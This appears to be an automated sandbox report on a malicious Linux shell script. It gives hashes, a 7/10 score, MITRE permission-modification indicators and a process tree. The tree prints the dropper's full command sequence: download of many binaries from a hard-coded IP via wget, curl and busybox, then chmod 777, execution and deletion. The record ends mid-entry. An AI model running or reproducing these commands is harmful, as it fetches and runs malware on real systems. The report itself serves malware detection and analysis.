57dfeffe4e7b039d5d877c9e3323194592479caf69f496c922c0c31162fb4557

Analysis

max time kernel
30s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
06/11/2024, 01:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a.sh
Size 10KB
Sample241106-byfyeaselh
SHA256 79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a
MD5 a0dad1a573f72a6534abb219fcb609c3
SHA1 140b3643fa1f39b4149ba4ecf7b68c13e59fad26
SHA512 736c9b38ddeedc4ad6791d7a4cbcb0c965a04cfefdd19cf1c6efe08fa3a8cd880a18b7b0300a919879507ccac630c74b5f2c2ecb3446b776592495dd0a703401
SSDEEP 192:1amOZ5azCQNhdT4EnSEnSEnkEnsQEnrEnNtV92ypQbaEnSEnSEnkEnsQEnrEnFtg:1amOZ5azCQRx331CWZQbP331CW9hamOd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1557	chmod
1563	chmod
1575	chmod
1593	chmod
1629	chmod
1641	chmod
1521	chmod
1679	chmod
1527	chmod
1581	chmod
1599	chmod
1635	chmod
1653	chmod
1665	chmod
1671	chmod
1539	chmod
1545	chmod
1617	chmod
1515	chmod
1533	chmod
1605	chmod
1611	chmod
1623	chmod
1647	chmod
1659	chmod
1569	chmod
1587	chmod
1551	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB	curl
File opened for modification	/tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI	curl
File opened for modification	/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	curl
File opened for modification	/tmp/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ	curl
File opened for modification	/tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf	curl
File opened for modification	/tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw	curl
File opened for modification	/tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM	curl
File opened for modification	/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	curl
File opened for modification	/tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0	curl
File opened for modification	/tmp/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20	curl
File opened for modification	/tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf	curl
File opened for modification	/tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0	curl
File opened for modification	/tmp/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK	curl
File opened for modification	/tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw	curl
File opened for modification	/tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB	curl
File opened for modification	/tmp/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK	curl
File opened for modification	/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	curl
File opened for modification	/tmp/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20	curl
File opened for modification	/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	curl
File opened for modification	/tmp/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN	curl
File opened for modification	/tmp/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN	curl
File opened for modification	/tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK	curl
File opened for modification	/tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK	curl
File opened for modification	/tmp/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ	curl
File opened for modification	/tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM	curl
File opened for modification	/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	curl
File opened for modification	/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	curl
File opened for modification	/tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI	curl

/tmp/79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a.sh
/tmp/79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a.sh
1⤵
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:1508
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:1514
- /bin/chmod
  chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Executes dropped EXE
  PID:1516
- /bin/rm
  rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:1518
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:1520
- /bin/chmod
  chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Executes dropped EXE
  PID:1522
- /bin/rm
  rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:1524
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:1526
- /bin/chmod
  chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Executes dropped EXE
  PID:1528
- /bin/rm
  rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:1530
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:1532
- /bin/chmod
  chmod 777 bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  ./bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - Executes dropped EXE
  PID:1534
- /bin/rm
  rm bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:1536
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:1538
- /bin/chmod
  chmod 777 lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  ./lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - Executes dropped EXE
  PID:1540
- /bin/rm
  rm lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:1541
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:1542
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:1544
- /bin/chmod
  chmod 777 ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  ./ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - Executes dropped EXE
  PID:1546
- /bin/rm
  rm ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:1548
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:1550
- /bin/chmod
  chmod 777 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  ./6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - Executes dropped EXE
  PID:1552
- /bin/rm
  rm 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:1554
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:1556
- /bin/chmod
  chmod 777 pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  ./pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - Executes dropped EXE
  PID:1558
- /bin/rm
  rm pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:1559
- /usr/bin/wget
  wget http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:1560
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:1562
- /bin/chmod
  chmod 777 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  ./0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - Executes dropped EXE
  PID:1564
- /bin/rm
  rm 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:1565
- /usr/bin/wget
  wget http://216.126.231.240/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:1566
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - Writes file to tmp directory
  PID:1567
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:1568
- /bin/chmod
  chmod 777 dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  ./dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - Executes dropped EXE
  PID:1570
- /bin/rm
  rm dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:1571
- /usr/bin/wget
  wget http://216.126.231.240/bins/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  PID:1572
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  PID:1574
- /bin/chmod
  chmod 777 wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  ./wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  - Executes dropped EXE
  PID:1576
- /bin/rm
  rm wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  PID:1577
- /usr/bin/wget
  wget http://216.126.231.240/bins/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  PID:1578
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  PID:1580
- /bin/chmod
  chmod 777 N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  ./N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  - Executes dropped EXE
  PID:1582
- /bin/rm
  rm N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  PID:1583
- /usr/bin/wget
  wget http://216.126.231.240/bins/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  PID:1584
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  PID:1586
- /bin/chmod
  chmod 777 wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  - File and Directory Permissions Modification
  PID:1587
- /tmp/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  ./wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  - Executes dropped EXE
  PID:1588
- /bin/rm
  rm wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  PID:1589
- /usr/bin/wget
  wget http://216.126.231.240/bins/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  PID:1590
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  PID:1592
- /bin/chmod
  chmod 777 ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  ./ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  - Executes dropped EXE
  PID:1594
- /bin/rm
  rm ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  PID:1595
- /usr/bin/wget
  wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:1596
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - Writes file to tmp directory
  PID:1597
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:1598
- /bin/chmod
  chmod 777 pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - File and Directory Permissions Modification
  PID:1599
- /tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  ./pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  - Executes dropped EXE
  PID:1600
- /bin/rm
  rm pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
  2⤵
  PID:1601
- /usr/bin/wget
  wget http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:1602
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:1604
- /bin/chmod
  chmod 777 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - File and Directory Permissions Modification
  PID:1605
- /tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  ./0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  - Executes dropped EXE
  PID:1606
- /bin/rm
  rm 0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
  2⤵
  PID:1607
- /usr/bin/wget
  wget http://216.126.231.240/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:1608
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - Writes file to tmp directory
  PID:1609
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:1610
- /bin/chmod
  chmod 777 dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  ./dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  - Executes dropped EXE
  PID:1612
- /bin/rm
  rm dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
  2⤵
  PID:1613
- /usr/bin/wget
  wget http://216.126.231.240/bins/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  PID:1614
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  - Writes file to tmp directory
  PID:1615
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  PID:1616
- /bin/chmod
  chmod 777 wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  - File and Directory Permissions Modification
  PID:1617
- /tmp/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  ./wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  - Executes dropped EXE
  PID:1618
- /bin/rm
  rm wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
  2⤵
  PID:1619
- /usr/bin/wget
  wget http://216.126.231.240/bins/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  PID:1620
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  - Writes file to tmp directory
  PID:1621
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  PID:1622
- /bin/chmod
  chmod 777 N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  - File and Directory Permissions Modification
  PID:1623
- /tmp/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  ./N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  - Executes dropped EXE
  PID:1624
- /bin/rm
  rm N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
  2⤵
  PID:1625
- /usr/bin/wget
  wget http://216.126.231.240/bins/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  PID:1626
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  - Writes file to tmp directory
  PID:1627
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  PID:1628
- /bin/chmod
  chmod 777 wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  - File and Directory Permissions Modification
  PID:1629
- /tmp/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  ./wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  - Executes dropped EXE
  PID:1630
- /bin/rm
  rm wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
  2⤵
  PID:1631
- /usr/bin/wget
  wget http://216.126.231.240/bins/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  PID:1632
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  - Writes file to tmp directory
  PID:1633
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  PID:1634
- /bin/chmod
  chmod 777 ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  - File and Directory Permissions Modification
  PID:1635
- /tmp/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  ./ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  - Executes dropped EXE
  PID:1636
- /bin/rm
  rm ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
  2⤵
  PID:1637
- /usr/bin/wget
  wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:1638
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Writes file to tmp directory
  PID:1639
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:1640
- /bin/chmod
  chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - File and Directory Permissions Modification
  PID:1641
- /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Executes dropped EXE
  PID:1642
- /bin/rm
  rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:1643
- /usr/bin/wget
  wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:1644
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Writes file to tmp directory
  PID:1645
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:1646
- /bin/chmod
  chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - File and Directory Permissions Modification
  PID:1647
- /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Executes dropped EXE
  PID:1648
- /bin/rm
  rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:1649
- /usr/bin/wget
  wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:1650
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Writes file to tmp directory
  PID:1651
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:1652
- /bin/chmod
  chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - File and Directory Permissions Modification
  PID:1653
- /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Executes dropped EXE
  PID:1654
- /bin/rm
  rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:1655
- /usr/bin/wget
  wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:1656
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - Writes file to tmp directory
  PID:1657
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:1658
- /bin/chmod
  chmod 777 bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - File and Directory Permissions Modification
  PID:1659
- /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  ./bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  - Executes dropped EXE
  PID:1660
- /bin/rm
  rm bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:1661
- /usr/bin/wget
  wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:1662
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - Writes file to tmp directory
  PID:1663
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:1664
- /bin/chmod
  chmod 777 lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - File and Directory Permissions Modification
  PID:1665
- /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  ./lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  - Executes dropped EXE
  PID:1666
- /bin/rm
  rm lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
  2⤵
  PID:1667
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:1668
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - Writes file to tmp directory
  PID:1669
- /bin/busybox
